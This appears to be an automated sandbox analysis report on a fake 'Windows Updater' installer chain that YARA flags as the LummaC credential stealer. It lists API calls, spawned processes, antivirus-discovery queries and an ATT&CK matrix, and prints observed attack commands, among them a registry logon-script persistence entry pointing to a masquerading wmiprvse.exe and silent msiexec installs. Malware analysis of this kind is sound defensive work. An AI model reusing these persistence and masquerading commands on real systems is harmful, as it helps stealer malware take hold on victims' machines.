Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001E6D50 __set_se_translator,SetUnhandledExceptionFilter,	20_2_001E6D50
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0034E5D3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0034E5D3
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001E8AF0 __set_se_translator,SetUnhandledExceptionFilter,	20_2_001E8AF0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0034996D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_0034996D
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A56D995 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_6A56D995
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A56CC2B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_6A56CC2B
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A571D33 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_6A571D33
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000D816E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_000D816E
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000D87D0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_000D87D0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000D8963 SetUnhandledExceptionFilter,	28_2_000D8963
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000DCDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_000DCDA3
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0056816E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	31_2_0056816E
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005687D0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_005687D0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00568963 SetUnhandledExceptionFilter,	31_2_00568963
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0056CDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_0056CDA3

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\{app}\aglwjhm.cab -F:* C:\ProgramData	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe "C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe"
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: unknown unknown
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Process created: C:\Windows\SysWOW64\msiexec.exe c:\windows\system32\msiexec.exe" /i "c:\users\user\appdata\roaming\aw manager\windows manager 1.0.0\install\97fdf62\windows manager - postback johan.msi" /qn campaign=2598 ai_setupexepath=c:\users\user\appdata\local\temp\is-53us7.tmp\a1.exe setupexedir=c:\users\user\appdata\local\temp\is-53us7.tmp\ exe_cmd_line="/exenoupdates /forcecleanup /wintime 1701869374 /qn campaign=""2598"" " campaign="2598
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "c:\windows\system32\msiexec.exe" /i "c:\appdata\roaming\advancedwindowsmanager\windows installer 5.0.3\install\7eb1504\system updater.msi" ai_setupexepath="c:\programdata\aw manager\windows manager\updates\v113\v113.exe" setupexedir="c:\programdata\aw manager\windows manager\updates\v113\" exe_cmd_line="/exenoupdates /forcecleanup /wintime 1701869374 "
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Process created: C:\Windows\SysWOW64\msiexec.exe c:\windows\system32\msiexec.exe" /i "c:\users\user\appdata\roaming\aw manager\windows manager 1.0.0\install\97fdf62\windows manager - postback johan.msi" /qn campaign=2598 ai_setupexepath=c:\users\user\appdata\local\temp\is-53us7.tmp\a1.exe setupexedir=c:\users\user\appdata\local\temp\is-53us7.tmp\ exe_cmd_line="/exenoupdates /forcecleanup /wintime 1701869374 /qn campaign=""2598"" " campaign="2598
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "c:\windows\system32\msiexec.exe" /i "c:\appdata\roaming\advancedwindowsmanager\windows installer 5.0.3\install\7eb1504\system updater.msi" ai_setupexepath="c:\programdata\aw manager\windows manager\updates\v113\v113.exe" setupexedir="c:\programdata\aw manager\windows manager\updates\v113\" exe_cmd_line="/exenoupdates /forcecleanup /wintime 1701869374 "

Source: a3.exe.4.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Shell_TrayWnd
Source: wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Progman

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Code function: 4_2_100268A5 cpuid

4_2_100268A5

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: GetLocaleInfoA,	4_2_100212D9
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,_strcpy_s,__invoke_watson,__itoa_s,	4_2_100217F3
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	4_2_10017808
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: GetLocaleInfoA,	4_2_10023160
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: _LcidFromHexString,GetLocaleInfoA,	4_2_100213BB
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoW_stat,	4_2_100263ED
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	4_2_10020BF4
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: GetLastError,_malloc,WideCharToMultiByte,__freea,GetLocaleInfoA,	4_2_10026428
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoA,	4_2_10020434
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	4_2_10021451
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_10026565
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	4_2_10020598
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: _LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	4_2_10021693
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	4_2_10021752
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	4_2_100217B7
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,	20_2_002DBB80
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: EnumSystemLocalesW,	20_2_6A586A67
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	20_2_6A586AF2
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: EnumSystemLocalesW,	20_2_6A5869CC
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: EnumSystemLocalesW,	20_2_6A57E98E
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: EnumSystemLocalesW,	20_2_6A586981
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetLocaleInfoW,	20_2_6A57EE57
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,	20_2_6A54CE40
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	20_2_6A586E6E
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetLocaleInfoW,	20_2_6A586F74
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetLocaleInfoW,	20_2_6A586D45
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	20_2_6A587043
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	20_2_6A5866DF
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	28_2_000F1D1C
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: EnumSystemLocalesW,	28_2_000F1FBE
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: EnumSystemLocalesW,	28_2_000F2009
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: EnumSystemLocalesW,	28_2_000F20A4
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	28_2_000F212F
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,	28_2_000F2382
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	28_2_000F24AB
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,	28_2_000F25B1
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	28_2_000F2680
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,	28_2_0006ABB0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: EnumSystemLocalesW,	28_2_000EB74A
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: GetLocaleInfoW,	28_2_000EBBF4
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: EnumSystemLocalesW,	31_2_00582009
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: EnumSystemLocalesW,	31_2_005820A4
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	31_2_0058212F
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,	31_2_00582382
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	31_2_005824AB
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,	31_2_005825B1
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	31_2_00582680
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,	31_2_004FABB0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: EnumSystemLocalesW,	31_2_0057B74A
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetLocaleInfoW,	31_2_0057BBF4
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	31_2_00581D1C
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: EnumSystemLocalesW,	31_2_00581FBE

Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Queries volume information: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Code function: 20_2_002F05F0 CreateNamedPipeW,CreateFileW,

20_2_002F05F0

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Code function: 4_2_1001F38D GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

4_2_1001F38D

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Code function: 4_2_10016F7F RtlAllocateHeap,GetVersionExA,HeapFree,HeapFree,__heap_term,__RTC_Initialize,GetCommandLineA,___crtGetEnvironmentStringsA,__ioinit,__mtterm,__setargv,__setenvp,__cinit,__ioterm,__ioterm,__mtterm,__heap_term,___set_flsgetvalue,__calloc_crt,__decode_pointer,GetCurrentThreadId,__freeptd,

4_2_10016F7F

Source: C:\Windows\SysWOW64\expand.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob

Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Source: Yara match	File source: 14.2.wmiprvse.exe.6bea0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.wmiprvse.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.wmiprvse.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.wmiprvse.exe.6bf00000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.wmiprvse.exe.6f900000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.wmiprvse.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.wmiprvse.exe.6f8e0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.wmiprvse.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4543369015.0000000000402000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4545412473.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4554414336.00000000111E2000.00000004.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.2226521290.0000000000402000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: expand.exe PID: 5696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wmiprvse.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\078630d72d217d4d9885ece5b71fe988.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\e6adbd27df47824481105a18183e1d5e.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\f88670462385d642bd8a486306392759.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\2041dcc7124af9419b0b672e9d7171f7.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\5d7fc0667d8a0e48a42ebd70bdd0c76a.tmp, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
1 Replication Through Removable Media	31 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Replication Through Removable Media	1 Archive Collected Data	Exfiltration Over Other Network Medium	12 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Native API	11 Registry Run Keys / Startup Folder	13 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	21 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	113 Command and Scripting Interpreter	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	58 System Information Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	3 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	Scheduled Transfer	14 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	361 Security Software Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	12 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	32 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Modify Registry	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	12 Virtualization/Sandbox Evasion	Network Sniffing	2 System Owner/User Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	13 Process Injection	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
